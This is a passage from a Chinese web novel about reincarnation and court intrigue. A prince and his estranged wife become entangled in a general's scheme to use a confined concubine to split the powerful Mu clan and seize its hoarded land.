元衡眼神微动,似有些意外,一时不知道说什么。 杨知聿盯向他的目光,似是想要他的一个答案,不容他回避,“倘若有一日,她也想起来了什么,晋王殿下打算怎么办?” 第83章 第八十三章滚 元衡不是没有想过。 若是上一世的她回来了,会是什么样。 在看到他如此患得患失,她是否会生出点喜悦,哪怕是一点的快感? 她可能不会。 她的答案都已经告诉他了不是吗? 那是他偷来的东西。 若是她回来,知道这些,她可能连留在他身边报仇都不愿意了,她可能会更憎恶他,可能会想杀了他。 他宁愿面对这一世的她,宁愿她永远都不要想起他的恶劣… 不然这些日子,他为何要躲开她呢? 他躲的分明不是她,是上一世的她,也是上一世的自己。 元衡沉默了许久,才问道:“她还说了什么?” 杨知聿底下眼,会想起她说的话,眼神不由黯淡。 他声音低沉,道:“她说她不后悔。” 迎来的又是一阵死寂。 即使是在暖屋中,温好的酒也早 已冷了下来,元衡迟然抬头,问道:“你且告诉孤,上一世究竟发生何事?她怎么救的她,尔朱阳雪那样的人,为何要替她报仇?” 杨知聿反应过来,他似是说的太多了。 先是说到岑璠,再是说到尔朱阳雪,竟是让他敏锐地察觉到了什么。 尔朱阳雪并非感情用事之人,上一世她和岑璠萍水相逢,会冒那么大的风险帮她报仇,确实不是简单因为岑璠顺手救过她。 他们不单单欠她的,还欠她腹中的孩子。 上一世的她宁愿跪下,也不肯让他说给晋王听,约莫是觉得说了也不会得到同情,说不准连带那有缘无分的可怜孩子也要受到讥讽。 岑璠,你看见这一世了吗? 他现在得到了报应,纡尊降贵,却求而不得 杨知聿仰起头,一声叹自唇缝中叹出。 他真的很想说出口,想让面前的人再也抬不起高傲的头,可他知道岑璠有自己高傲。 哪怕是上一世那样狼狈,她也和她喜欢的梅一样,有不愿折去的傲骨。 他该道歉的岑璠已经不在了,同这一世的她道歉又有何用? 徒增烦恼罢了。 杨知聿不等他再送客,便起身抬手一礼,无可奉告。 “你不肯告诉我,可是觉得我不配?”元衡在他背后问道。 杨知聿脚步顿住,站定片刻,还是什么也没说,便走出去了。 他闭口不谈,元衡就算是有通天的本事,也猜不出上一世在庄子发生了什么。 他没有关心过,那些庄子的人也没提过,现在又无从问起。 不过或许他还是有机会能问出什么。 * 北镇夜晚难得无风,庭院外的雪被清扫干净,铺了层细盐似的雪粒。 一层脚印压在细雪上,压出了一层清晰的脚印。 元衡还是回去了。 这几日他确实不知道该如何面对她,起初彷徨害怕,怕他做这么多都是徒劳,后来又迷茫…… 他站在她的面前,连看她都觉得有些陌生。 上一世的面容即使浮现在他的脑中,也和现在的她无法重合。 岑璠见到他,不免就想到他那日说出的话。 巴掌都打下去了,见到他也索性不同他装了。 一双乌圆的眼睛瞪着他,似一颗冷硬的珠子,足以让人手脚发凉。 元衡喉咙紧缩,可他也没有服软。 当着人的面,低不下头。 槿儿还在屋中,岑璠站起身,吩咐了两句,槿儿便出去打水。 她用帕子擦过脸,雪白的脖颈上还沾有水渍,几根碎发粘在脖颈上。 她洗漱完后,没有理他,自知赶不走人,便走回床前脱鞋躺下,背对着他躺下。 元衡也自知理亏,高傲的头还是扬起,叫槿儿重新打水。 槿儿没什么好脸色,想到自家姑娘说的一个忍字,咬着唇去打水。 元衡知道她护亲,对她身边的奴仆也向来大度,没有在意那眼神,待到打来水后随意擦了擦。 屋里的灯很快就熄灭了。 元衡转过身去,有话想问她。 岑璠能感觉到他的靠近,并未像平日里那样忍,道:“殿下不觉得应该道歉吗?” 被打的是他,到头来还要他道歉。 左右没有外人,元衡沉默片刻,还是道了歉,“是我的过错。” 岑璠不觉得他知错,“殿下怕是连自己错在何处都不知吧?” 元衡不想这时与她闹僵,道:“本王那日是口无遮拦了些。” 岑璠看他,觉得他该是句句真心才对。 她质问道:“阿湄有恩于殿下,殿下妄动杀念,不觉问心有愧吗?” 在她看来,这便是妄动杀念了。可上辈子连对他恩重如山的舅父他都杀了,什么杀念是他不敢动的? 对他有恩者,也有可能是利用他的贪婪者。 更何况,他不想为了那个女人低头。 她过去的每一次逃跑的背后都是那个女人,她不光得到了上一世他有的,还扰得他们夫妻二人的日子鸡犬不宁,不得安生。 元衡到底还是于心不甘,连想要问的都抛之脑后。 “你是不是一定要孤为她道歉?” 岑璠半晌不曾说话,再开口是只一个“滚”字,连一点畏惧都不曾有。 元衡后牙紧抵,竟然真的坐起了身。 岑璠本想再挖苦几句,没想过他竟真的准备滚了。 元衡未下床,低头看她。 她仍未转过身,漏进来的月光勾勒出她窄瘦的脊背,还有比月光还柔和的青丝。 她上一世常常留给他这样一个背影,不论是在王府他索欢后坐在床边穿衣离去,还是他后来躲在寄云寺和她挤在同一张床上,她都不曾露出过一个正脸。 可到底也没说过一个“滚”字。 元衡抱了自己的枕,站起身在床边滞留许久。 撒起谎来倒也脸不红心不跳。 “孤这几日也总是做梦,梦到孤不曾善待你,让你受了很多苦。”元衡话音顿了顿,紧紧凝住她的背影,“那梦孤分不清虚实,孤记得你前些日也深陷梦魇,可有梦到什么?” 这番话岑璠睁着眼,一字不落的听进去。 她肩不曾动,漠然道:“不曾。” 元衡眉心蹙起,凝视着她,显然不信,道:“你可以同孤说说,孤也许能帮你。” 他究竟是为了帮他自己还是帮她,岑璠不愿意去计较,她只知道她不想说自己梦中的狼狈。 “我的梦中没有梦到过殿下。” 元衡手渐渐收紧,最后说道:“知道了。” * 北镇天渐短,天边尚有繁星,元衡便已经起了身。 昨日他做了笔亏本买卖,未曾问到些许,最后还从箱笼中抱了床被子,自己去坐榻上蜷了一夜。 他轻声换好衣,看向帐中。 她未有任何动静。 元衡便披了件大氅,推开门。 广寒而来的月光凄冷,一夜未有暖意,冷得透骨,手不缩在袖中,很快血液都被凝固住,冻到没有知觉。 元衡不由想到过去很多年,同舅父在怀朔大营中隐姓埋名,有一次冬日行军,他的手上被冻出冻疮,却还要行军,他腿脚僵硬,绊倒在雪里。 舅父背了他一路。 哪怕是这一世,他还是想不懂,血浓于水的舅父,为何要夺他权,要他命。 元衡紧握着手,指尖未染上手心攥起的暖意,反倒连手心都冷了。 能运来北镇的粮食不多,早膳元衡也只用了一块胡饼。 早膳后天才微白,昨日来访的男人却早已不请自来,等在了门外。 元衡将杨知聿放了进来。 他浑身沾了寒,随身带着酒,倒也不拘小节,拧开塞就着酒囊喝了一口。 臂间还夹了一幅舆图。 元衡瞥了一眼,“这就是你说的麻烦?” 杨知聿展开那幅图,“你自己看吧。” “按陛下诏令所言,军镇每人分得田十亩,比起中原虽已减至半,可光是赤城三千军户就不够分。” 元衡扫了一眼图上的圈点,便知道问题所在。 “你是说这些地方,被人私占了?” 杨知聿点了点头,“殿下猜是谁?” 元衡未思索太久,道:“穆氏。” 跟随先祖北伐最大的功莫过于穆氏,百 年之内,穆氏乃是北镇最大的门阀,十几年前就连尔朱氏也比不上。 太后力主改化,穆氏固执守旧,家族无人愿去洛阳为官,世代守在军镇,这才没落。 不过也是瘦死的骆驼比马大,北镇几方势力互相倾轧,穆氏始终占有一席之地。 杨知聿道:“殿下英明。” “在下打听过,图中所圈皆为穆氏掌控,这些田就算分下去,也无人敢开垦耕作。” 元衡冷笑一声,“一个穆氏,杨将军束手无策?” 他记得上一世这姓杨的带着军镇反的时候,第一个被割下头的便是这穆氏。 杨知聿也知道他在笑什么,带着些恭敬,答道:“殿下恕罪,眼下军镇还没有到你死我活的地步,末将不过区区杨家义子,光是代为颁诏,便被很多人记恨上了,实在无能为力。” “那本王就能做到?” “穆氏一族看似和衷共济,实则早已有人生了异心,在下人微言轻,殿下却不同,所谓四两拨千斤,殿下只需要说几句话,其实就能将这穆氏的关系挑破。” 元衡问道:“你想让本王做甚?” 杨知聿道:“殿下就不问问我,这异心因何而起?” “你想说自然是会说。” 杨知聿听罢,便是自问自答,“这异心来自穆氏次子,而起因是因为一个女人。” “哦?” “穆氏上一世被屠,非我亲自动手,而是赤城曲家的大公子,曲濂。” 元衡从未听说过什么曲氏,便是问了一句。 杨知聿接着道:“这曲家不过是当地的军户罢了,这原因才是关键。” “这曲濂死过一个妹妹,曾为穆氏大公子的妾室。” 元衡眼神微动,示意他继续说下去。 杨知聿道:“那曲氏曾有个青梅竹马的马夫,却被家里人送给穆氏大公子做妾,到了穆家,那穆二公子竟也对自己这位新过门的嫂嫂一见倾心,穆大公子不满,向穆家主上告,那穆二公子不仅对自己的兄长怀恨在心,还对那曲氏心生歹念,将曲氏与马夫的书信送给了自己的兄长。” “穆大公子一怒之下杀了那马夫,将曲氏赶出府去,却又不愿让她流落在外,便圈在一处外宅。” “然后呢?”元衡问道。 “穆二公子常去那外宅探望,后来买通了宅院的人,同曲氏多次苟且。”杨知聿停了一瞬,道:“后来曲氏不堪受辱,自尽了,穆氏两公子也就此反目。” 元衡一时不知该说什么,心底泛起一阵惋惜。 他惊讶于自己竟会泛起怜悯同情这种心思,转瞬便逼自己冷下来,道:“你是觉得用曲氏可以挑拨穆氏兄弟二人的关系?” 杨知聿道:“这一世曲氏才被关在外院没多久,还未自戕,算起来那穆二公子应该也快忍耐不住了。” 元衡抬眼看他,冷不丁问道:“你为何如此清楚穆氏的事?” 杨知聿笑得坦然,话说的谦虚,可仔细听来却仿佛有张扬:“末将上一世敢在军镇起事,自然是要先知己知彼,攻其弱处,殿下觉得呢?” 元衡不接他的话,问道:“杨将军既是本事了得,这一世不准备自立为王,反倒要屈居于本王这个手下败将的麾下,又是意欲何为?” 杨知聿收敛起了些笑意,眼中似含有别样的情绪,“末将有自己的打算。” 元衡从那眼中看不出丝毫算计,反倒是有些温情蕴在里面。 他暂且收起了试探,道:“你准备怎么做,总不可能本王去那曲氏的院子?” “殿下放心,穆二公子既然能买通那院子里的人,末将也能做到,殿下只管去便是。” * 曲氏所居的院子在赤城外的一座山上,说是院子,其实不过是将一处废弃的佛寺收拾了出来。 那破庙的后院中不过只有一棵光秃秃的榆树,矮屋的墙壁不知被什么砸缺了一块儿,虽是不漏风,肯定也不多暖和。 与元衡想的不同,看守曲氏的人并不多,不过两个壮汉和一个侍女罢了。 他来时有过一瞬的迟疑,可现在倒是明白了,这院子就这么三个人,根本不难买通。 倒还不如他给平城那两个闲人安顿的妥当。 院中看守的两个壮汉皆离开房门,到了院外,元衡没有推门,又将这窄小简陋的院子环视一遍,一通腹诽。 他甚至想,若是有朝一日,他的王妃也心有所属,和外男书信往来,他会怎么办。 他可能也会杀掉那个人,把她锁起来,关到外面人看不见的地方。 可他应该不会只让这么三个人看住她,把她这样放在外面,他应该会把她关在他们的王府的暖房内,起码不会冷着她,让她吃不饱,生死由命。 那穆大公子应当是并不怎么喜欢这妾室,否则不会安排在这里。 不管是将这曲氏关起来,还是与自己的兄弟反目成仇,可能都只是不想让自己面子上过不去罢。 元衡心中还在猜测,门却是推开了。 侍女搀扶着女子,自昏暗的房中走出来,门外有石阶,两人并未下来,在阶前停住。 那曲氏应当是被关得太久,面色苍白如纸,可那张面容被熹光照清时,还是令人眼前一亮。 虽然不如他的王妃,可也是一张清丽的容貌,玉面淡拂,双峨婉转如远山。 难怪那穆氏兄弟二人抢得你死我活。 元衡又扫了两眼,心中却浮现出另外一张面容,微微低头颔首。 杨知聿问道:“敢问夫人可是曲氏?” 曲芜知面前二人非富即贵,见他二人举止得体,态度倒也不差,只是有些警惕,“妾久未出门,不知两位公子是何人?” 杨知聿并未说自己,“这位是晋阳而来的晋王殿下。” 曲芜眼神闪过一丝惊诧,她思索片刻,能隐约猜到二人另有来意,低身福礼,“妾不便出门,殿下若有事相托,妾怕是无能为力。” 除了岑璠,元衡这辈子未被什么人拒绝过。 他不理会曲芜的推辞,肃然开口道:“本王知晓夫人被困于此,难道夫人不想出去?” 曲芜却也不理他,似是低头笑了笑。 长睫上洒有稀碎的光,如同一层金粉铺在上面,眼中的黯淡被掩盖起来。 她在想,她的阿野被活活折磨死,她出去还能干什么呢? 摇尾乞怜,继续当那些人抢来抢去的玩意儿? 亦或跟着面前的晋王,被当做一把刀,或者又变成战利品? 曲芜哪个都不想选,她抬起头,呼出一口白雾,手扶在门上。 就要合上门的刹那,却看到了院外站着一女子。 那女主衣衫素雅而不失贵气,与她对视时,眼中未能看出丝毫情绪。 若说能看出什么,似能看出些许与她一般的寂寥。 元衡能察觉到曲芜目光的停滞,他不认为她会忽然回心转意,便顺着她的目光看去。 他竟是看到了他的王妃站在门外,静得无声。 他恍然间明白了是谁找来的她,瞳放大些,看向一旁的男人,盛怒一瞬间溢出眼眸。 杨知聿的目光也恰好朝他看来,似有些心虚,很快便躲开了。 元衡没太多功夫先理会他,转而盯向院外的人。 她的目光微抬,眼中并没有他,而是在看阶上的女子。 不像是在打量,惺惺相惜,像是照镜子一般 如何能像照镜子一般? 元衡不允许她用这样的目光看那女子,挡在她的视线范围内,顺便将杨知聿严严实实挡在后面。 可她的目光中还是没有他,皎若秋月的面容上似还有淡淡的笑,却不是朝向他。 元衡又上前了几步,冷声问道:“你来这里做什么?” 岑璠回过目光,针锋相对,“殿下来做什么,我便来做什么。” 曲芜来回看了看两人,低眸片刻,心中了然。 元衡握紧了拳,又往前迈了几大步,站在她面前,脚尖几乎对上,宽阔的胸背如同一堵墙,遮挡住了她所有的视线,压迫感迎面而来。 岑璠不得不抬起头,眼中再看不到其他,只能对上他的眼睛,未有退让和犹豫。 元衡却也没有给她留有任何选择的余地,强硬的命令自唇齿间一字一句清晰吐露。 “这不是你能管的,我不管是谁叫你来,说了什么,现在立刻离开这里。” 第84章 第八十四章与她同病相怜 岑璠确实是被带过来的,她不知道尔朱阳雪为何来到赤城,可她听完那曲氏的遭遇,也无法无动于衷。 她的境遇比曲氏好很多,可她知道那种无力。 被上位者宠爱,自己却连选择的权利都没有。 于是她便跟尔朱阳雪过来了。 她不知道他也在这里,她也能看得出,元衡并不想让她过来。 授意尔朱阳雪这么做的,是另一个人,那个神秘莫测的男人。 岑璠还没忘,元衡曾经说过,崔氏一案的背后有他杨知聿的出手。 她目光微移开,想要看向他的身后,元衡的眉却压得更深了。 “你回去。”他铁了心不让她见那女子。 岑璠道:“若妾身不想回去呢?” 元衡似是用力咬住了牙,下颌愈发冷硬紧绷。 他猝不及防握住她的腕,那手掌宽大,将纤细的腕牢牢圈在掌中,抬起步子,将她往外拽。 “晋王殿下,我 想与王妃谈谈。” 背后传来这样的声音,两人都顿住了脚步。 元衡的手僵住一瞬,手指仿佛被冻住般,握的力气松了许多。 岑璠回过身,手腕离开他的掌中,朝院中走去,站立在阶下。 曲芜嫣然一笑,转身进了屋。 台阶上的雪未清扫出来,岑璠提起裙摆,略俯身进了那道矮门。 屋内的陈设简单的让人瞠目结舌,除了一张竹搭的榻,也就只有一张胡椅和一个炭火盆。 和牢狱也没有什么差别。 曲芜搬来那把胡椅,自己便是没地方坐,只能坐在那张榻上,“礼数不周,王妃见谅。” 岑璠注意到她的称呼,问道:“姑娘认得我?” 曲芜道:“王妃身着不凡,况且晋王大婚盛况,军镇无人不知。” 面前的女子举止端庄,岑璠又不禁多打量了几眼, 她听尔朱阳雪说,曲家并非当地旧族,本在华山郡有套宅子,曲芜的父亲还在华山郡做小吏。 太后去世之时刚刚迁都洛阳,反对迁都的党派躁动不安,曲氏牵扯其中,父亲被革职,举家发往北镇。 曲氏的一位公子曾在军中做什长,勉强能担负起曲氏一家吃穿,后来得罪了人,曲氏的生计便断了,好在曲家还有个貌美的女儿,机缘巧合下又被当地的大族看上,曲家老爷半推半就,便把女儿送去当了妾室。 那穆氏大公子穆朗在外名声极佳,马奴事发,也只是将曲氏送出府外,并未追究整个曲家的罪责。 曲芜应当也是为了家人,未曾想再出去。 可就算容貌再姣好,这样一直关着,终有一日也会枯萎。 岑璠还是想劝劝她,“晋王他们这次来,是为了将穆氏侵占的土地分给赤城的军户,若是事成,曲家便也有了生路,阿姊若能帮忙,想必他们会想办法让阿姊摆脱穆氏。” 曲芜眼晃了一下,嘴角弯起一个笑,“殿下仁慈。” 可她还是没有答应。 岑璠知道她有自己的考虑,并不想再勉强,颔首站起身,“叨扰阿姊了。” 曲芜却兀然抬头,“王妃可有想过,有朝一日离开王府?” 岑璠眼中闪过一丝震惊。 曲芜轻笑,“我能看得出,王妃和晋王并非像外面说的那般伉俪情深。” 岑璠攥紧手,沉默片刻,承认道:“想过。” “听闻晋王殿下对王妃百依百顺,王妃身上的衣裳首饰价值千金,王妃也还是想离开吗?” 自从被他扼断了最后一点念头,岑璠已经许久没有想过这些了。 她几乎要忘了当初为何要离开。 都说他对她好,可她不该因为一颗颗甜枣,便忘掉他的恶劣,忘掉他对她的种种逼迫和冒犯。 “或许有机会,还是会想,无关乎金银。” 曲芜提醒了她,她并不是不想离开,一直都不是,她过去并非毫无棱角,只是被千方百计地消磨了太多次。 她只是没有办法摆脱他,只要他不开口,她便无法挣脱他给她扣上的枷锁。 岑璠也懂了,为何曲芜不愿出去。 想要彻底摆脱,谈何容易? 她放弃了劝说,“对不起,方才考虑不周” 曲芜对她的道歉有些意外。 她笑着摇了摇头,“其实我做不到和王妃一样。” 她曲家贫寒,活着已是不易,她做不到一直坚持心中所想,若非遭此变故,有锦衣玉食,不必想下一顿能吃到什么,她会认命,跟定穆氏一辈子。 至于愿不愿意,就像被水流冲洗的石头,再坚硬也会磨平的。 曲芜看了看手上的镯子,那只镯子她很早之前就戴着,是她出嫁之前有人专门送给她的。 她道:“王妃想要我做些什么?我也许能帮到。” …… 门再打开时,只有岑璠一个人出来。 元衡看到,她的手上拿了几张地契。 岑璠说那穆二公子穆尧来过,给了曲芜这些地契。 至于条件,便是那种腌臜条件。 可元衡似乎对那地契并不感兴趣,他接过往几处扫了几眼,目光便回到她的脸上。 “她还同你说了什么?”元衡抬眼问道。 岑璠道:“没说什么。” 杨知聿就站在一旁,岑璠瞟了他一眼,道:“杨将军若是需要我帮忙,大可报上自己姓名,妾身不会不帮。” 她刚说完这句,元衡便拽住了她的臂。 岑璠低头看了眼,来不及说什么,只见他将那张地契还给杨知聿,说了声“还给她”,而后便拽着她往外走。 他走得极快,捏在她臂上的手用力,扯得她肉痛。 岑璠想甩开他的手,可直到上马前,他才放开手。 她早起穿的衣裳被扯乱了些,呼吸起伏。 元衡放开手,什么也没问,不由分说把她抱上自己的马。 她来时坐的马车就在不远处,这一番动静,惹得尔朱阳雪掀开帘回头看。 元衡不在乎这些,打马而去。 半炷香后,杨知聿交代好事,才从破庙中出来。 天空发白,又飘起了星点小雪,想必不一会儿就会下大。 北镇便是这样。 门口的马车还未离去,车夫手揣在袖中,似是朝马车后说了什么。 杨知聿牵来自己的马,朝那处走去。 车帘被掀开,却还隔着风雪。 杨知聿记得,上一世他们也曾隔着帘幔而望。 那时她头戴凤冠,艳妆华服,而他带着兵马而来。 他向那马车而去,拱手一礼,“多谢尔朱姑娘。” 又变回了一句陌生的尔朱姑娘… 围炉夜话的温暖似被掩埋藏在了除夕夜中,尔朱阳雪放下车帘,“表兄不必多谢,我不过是想帮王妃罢了。” 她在崔氏一案后曾受家兄嘱托,帮晋王看着岑璠。 她时候也觉得,自己做的不对。 这位晋王妃在晋王身边,并不开心。 杨知聿听了后,嘴角牵起一点笑,“你下一步准备去哪里?” 她的话声停了一瞬,道:“家君有令,让我回怀荒,此行不过路过赤城。” 杨知聿抿了唇,看向地上的雪,须臾后又露出了一点无声浅笑。 他动身上马,道:“路上有风雪,我送姑娘一程吧。” …… 远处的马行得不疾不徐,北风呼啸。 眼瞧雪渐大,元衡才行得快了些。 他挡住风雪,将自己的王妃笼在怀中。 岑璠还是觉得冷,手缩在袖中,紧紧压在马鞍上。 一路下山,马蹄声才又放缓了些。 元衡终于还是忍不住,问道:“你刚才是怎么劝曲氏的?” “是说你与她同病相怜,想要帮她,是吗?” 岑璠回避道:“殿下,成事者不拘小节。” 她刚说完这句话,却感觉到那紧实的胸膛压了下来。 牙尖抵住了脖颈上的脉搏,皮肤没有被咬破,可还是能清晰地感觉到刺痛感。 岑璠不由惊慌,她甚至不怀疑这疯子会真的像野兽一样朝她的脖子咬下去。 只是元衡很快便松开了,贴住她的脸颊,声音嘶哑,“他是故意的,他一直觊觎你,请你过来就是想挑拨你我” 岑璠握紧了手,无视他那咎由自取的彷徨,“殿下这样,妾身倒是害怕,有朝一日殿下会做出和穆氏同样的事。” 风愈发凛然,像是在哭喊嘶吼,他恍然间像是笑了一声,离得更近了些,“皎皎放心,孤绝对不会将你放在山上…” 他话声平淡却又残忍,“孤会把皎皎留在王府,让你日日夜夜眼中只有孤一个人。” * 翌日,天边微白。 元衡同她宿在了同一张床上。 他起身套好靴,回头看了看她。 她留了一个后背给他,还在熟睡,身上只掩了一件小衣,圆润的肩头露在衾外,屋内烧足了炭火,并不觉着冷,可她在睡梦中还是蜷着身子。 发间遮盖着或浅或深的红痕 ,仔细看去,那光滑的肩也有一块儿印记。 元衡心头一漾,伸出手指,挑起她的发丝,她便蜷得更紧了。 他说日日夜夜留住她,让她眼里只有他,似乎只有这种方式… 元衡走出门去,身上似都还缠绕着她身上淡淡的香气。 韩泽走来,说那穆尧今日回了城。 那穆尧本人,他从前在军镇见过两面,同穆朗嫡出,却面相丑陋,只不过能说会道,还常在穆氏家主面前说自己因面容丑陋而受嘲讽,得家里人疼惜。 昨天岑璠给他的那两张地契他看过,那几张地契上写的正是杨知聿圈出来的地方,那些地方本该是军镇的荒地,无谈归属,不过是糊弄人的玩意儿。 元衡吩咐了几句下去,让人这几日看住关曲氏的院子。 曲芜夜晚早早便熄了灯,她记得那日晋王来时,他身边的人说的话。 她也知道那穆二执意把地契留在这里,定不会善罢甘休。 在穆氏做妾时,那穆二看她的眼神就时常带着蔑视和轻浮,有一次她去外面买了些胭脂,回来时撞见穆二,他嘴里说着想看她的胭脂,竟还想要摸她的手… 这一夜,院子外面传来了动静。 曲芜紧闭眼睛,听见房门打开的声音,冷风直往屋子里钻。 脚步声渐近,直到那敦实的一团肉坐在旁边,曲芜才睁开眼。 虽然有准备,可看到那张笑得猥琐的面容,她还是吓得坐起身来。 “嫂嫂别怕,是我。” 曲芜往里缩了缩,可那张床太窄,一退便是靠在了墙壁。 她小声道:“你来做什么…” 穆尧坐近了些,呵呵发出两声笑,“我当然是来问嫂嫂,地契的事考虑的怎么样?” “什么地契,我不知道…” 穆尧不恼,也耐不住性子,“嫂嫂想不起来也没关系,咱们有的是时候慢慢想。” 曲芜发问,“你要做什么?” 穆尧显然没打算再陪她装,上了她的床,“阿兄他不要你了,这边的人也不会管你。你跟了老子,把老子伺候好,将来说不准还能有条活路。” 粗鄙的话不断从那张嘴中脱口而出,扒扯她的衣裳。 纵使曲芜再逼迫自己冷静,也还是尖叫出声。 就在这时,一道黑影悄无声息走到穆尧背后,闷头一棒敲了下去。 第85章 第八十五章泼天富贵不愿享 白昼还未起,银装素裹,枝桠上凝结出冰霜。 庙中的侍卫连夜跑回穆府,穆朗刚刚同自己的正室罗氏用过早膳,听到是看管那妾室的人来找,本不欲管。 来报的小厮却说,那穆二去了山庙上的院子。 穆朗气得嘴唇抽搐,拍案而起,桌上的碗碟都晃了三晃,正在帮他盛麦粥的罗氏都不由手臂抖了抖。 他起身,大喊了一声要人拿刀来。 罗氏心下一惊,轻轻拽了一下他的衣袖,却是被挥到地上。 穆朗最终提了一把长刀出门。 院前的雪还未扫清,昨夜雪便停了,从门外而来的脚印还留在院中。 曲芜在耳房中呆了一夜,昨日打晕穆朗的人已经离去,她怕穆尧醒过来,便将自己住的那处房门牢牢锁住。 穆朗提刀进院时,将曲芜喊了出来。 曲芜眼睛肿得像杏仁,从耳房踉踉跄跄出门,看到穆朗一脸凶神恶煞的样子,跪到了地上。 穆朗低眼看她,“那奸夫人呢?” 曲芜咬死也不认死死拽住他的衣摆,眼中晶莹的泪珠闪烁,楚楚可怜,轻声抽噎,“主君明察,妾真的没有做过” 穆朗踹开她,径直向主屋走去,那把长刀硬生生将门劈开。 门中的景象却让穆朗诧异,只见那穆尧趴在地上,头上肿得包肉眼可见,似一团肉摊在地上,意识还没醒。 穆朗一边嫌弃,一边担忧,踹了一脚,想确定他是不是还活着。 穆尧这个时候才转醒,似是一时没想起自己为何会在地上,有些茫然地撑起肥壮的身躯,后脑隐隐疼痛,伸手摸了摸。 眼前出现一双靴,穆尧这才发现房中有人。 他抬起头,陡然一震,手捂住胸口,结巴到吐字零碎,“大、大兄” 穆朗冷笑一声,将他从地上揪起来,“你敢动老子的女人?” 穆尧眼睛睁大,语无伦次地解释,“我只是来探望小嫂嫂,并没有做什么?” 他手挥舞着,无处安放,“我被人从后面打了,大兄,我真的做不了什么呀” 穆朗并不想听,看着那痴肥臃肿的面目,愈发厌恶,挥起拳头便朝那张脸上而去。 曲芜不敢回耳房,还跪在院中,听着房屋中的惨叫,低声啜泣。 屋中的声音停住,穆朗才从门内出来,叫人将穆尧抬回穆家。 他低眼看曲芜,问道:“你哭什么?” 曲芜挺起身,拽住他的臂,“主君,我真的什么也没有做,是二公子忽然闯进来,莲心她担心二公子胡来,敲晕了他,主君明鉴” 穆朗似是气撒了不少,道:“谅你们也不敢。” 说罢,他毫不怜惜地拂开她的手。 曲芜却又抓上了他的手臂,“主君,我知道错了,我不想呆在这里” “妾身真的怕” 这一声哭噎抓在人心头,穆朗不由看向她。 泪眼婆娑,像是断了线的珠子,分外惹人怜。 穆朗不由想起,自己当初为什么要将曲氏收房。 曲家有个女儿,实在貌美。 即使放在这山头几个月,还能让人心生怜悯。 穆朗手指勾起她的下颌,喊了人,将曲芜带了回去。 可回去之后,穆朗叫来了几个婆子,让罗氏监督,给曲芜验了身。 确认昨夜确实没有发生过什么,晚上穆朗才来到她的屋里。 在听到房门打开时,曲芜紧攥的手才松开。 穆朗看向她身上穿的衣裳,她应是知道自己喜欢她穿少,特地换上了轻薄的纱衣。 曲芜让婢女烧了水,跪下身给他洗脚。 穆朗心情稍缓,忽地抬起脚来,吓了曲芜一跳。 他冷不丁又问,“你就真的没有想过,跟了穆二?” 曲芜双手搭在膝上,拼命摇头,还是咬定,“主君已经查过,真的没有。” 她像是要哭出来,穆朗听着烦,连忙摆了手,“别再老子面前哭哭啼啼的。” 曲芜听话地闭紧了唇,小声道:“贱妾不敢隐瞒,其实穆二公子他、他先前来过一次,还交给妾几张地契…” 穆朗听到,便是又坐直了身子,“你说什么?” 曲芜忍着哭声,道:“主君息怒,二公子他去过山上,说要给贱妾一些地契,贱妾没有答应,二公子今日便又来…” “妾也没有想到,二公子一来,是要妾…” 接下来的话曲芜说不出口,却还是记得穆朗的话,咬住唇忍住哭声。 穆朗也没有怜惜她这般样子,问道:“你为何不早说?” 曲芜低下头,并没有说话。 他一时无语,见曲芜没有一点眼力见,问道:“地契呢?” 曲芜抬头,仿佛明白了他的意思,将放在妆台上的那两张地契呈给他。 穆朗扫了两眼,蔑视而又讽刺,摊开那两张地契,道:“这地契是假的,你难道看不出来?” 曲芜只在儿时家道未没落时看过地契长什么样,哪里懂得辨别真假,一时还真有些诧异。 她看向穆朗,虽然嘴上说那地契是假的,可男人的一双眼睛还是盯在那地契上,面容并没有舒展开。 曲芜小声道:“可、可二公子他还说,这些地他以后要多少有多少。” 穆朗掀起眼,问道:“他真的这么说?” 曲芜低头颔首。 那张地契被穆朗攥成一团,捏在手心里。 他知道家里的父亲母亲都偏袒穆二,那个貌丑的东西,本事没有多少,整日就知道哭自己丑,惹得家里人同情。 穆氏手里的许多未曾开垦的 荒地,那些土地并没有官府盖印的地契,可那到底是他穆家的东西,母亲说他会是穆氏将来的家主,那这些土地将来都是会他的。 前些日那姓杨的仗着有皇帝的诏书,要让他穆氏将这些荒地让出来,父亲都不肯给,现在却要把那么大块儿地给穆二那个没用的东西,又是何道理? 穆朗思忖了许久,目光又移向曲芜,冷声道:“你这几日,可还有见过其他人?” 曲芜摇头,“真的没有,主君信我。” 穆朗想她也生不出什么算计他的心思,便是作罢,将手中揉皱的地契展开,又看了两眼那明晃晃的官府印。 幸好是他发现,敢伪造官印,他们穆氏都要被追责。 穆朗心里还是气不过,将那张地契又揉皱了,扔到水里。 * 穆氏的家主穆卓这几日都在军营,前脚刚听闻两个儿子因为一个妾室打了起来,后脚穆朗便将被打的穆尧送来了军营。 穆卓气穆二对兄嫂心生歹念,也气穆朗同自己的兄弟大打出手,于是便干脆狠下心,两个一起罚了。 一个败坏家风被下了私狱,一个大打出手闭门思过。 只是这私狱到底没怎么关过自家人,阴冷潮湿,许是因此缘故,被关了两日,穆尧便发了高热。 仅仅关了两日,便被放了出来,后来病好了也没再关回去。 穆朗的院子,这些日摔坏了许多东西。 穆卓知道他心中有气,解了他的足禁。 解禁的这一日,穆朗去了军中,今日的赤城倒还真发生了件大事。 听说晋王亲自下令征田,不论有没有开垦过,只要是田,一亩地可换二十贯银钱。 穆朗心道,要二十贯,莫不是疯了 且不说这些田适不适合耕,他听说洛阳的田,开垦过的地一亩才这个价。 荒谬消息一经耳中,一直在他的心头盘绕,穆朗又思忖片刻,还真生出些别的心思。 今日杨知聿正在军中,穆朗便是恰好遇到了。 此人是晋王的走狗,前些年就仗着杨氏在军镇作威作福,今岁竟是被调到了赤城,骑到了他的头上。 穆朗心中有怨,可脸上却还是挂起了一副笑,走了过去。 杨知聿颔首,同他打了声招呼。 恰好路过一伙人,抬着箱子,杨知聿招呼了几句。 穆朗看到了白花花的银子。 他问道:“晋王殿下这是真的打算…送银子?” 杨知聿道:“这可是圣上的诏令,也怪我,前些日没有觉察出殿下的意思,这事办的太慢。” 穆朗下巴朝那银子努了努,问道:“多少家换了?” 杨知聿道:“实话实说,有人换,倒还真不多,每一家都在想,殿下能让人开垦荒地,那他们也能啊!可这地都荒几十年了,要我说咱们北镇哪里是缺地,缺的那是会种地的人,这人可不还是要从朝廷出嘛!” 穆朗听后,不由点了点头。 杨知聿用手比划了一个数,昧著良心,忍住想笑的冲动,摇头惋惜道:“那可是二十贯钱呐,也就是殿下有钱,能出得起这个价。” 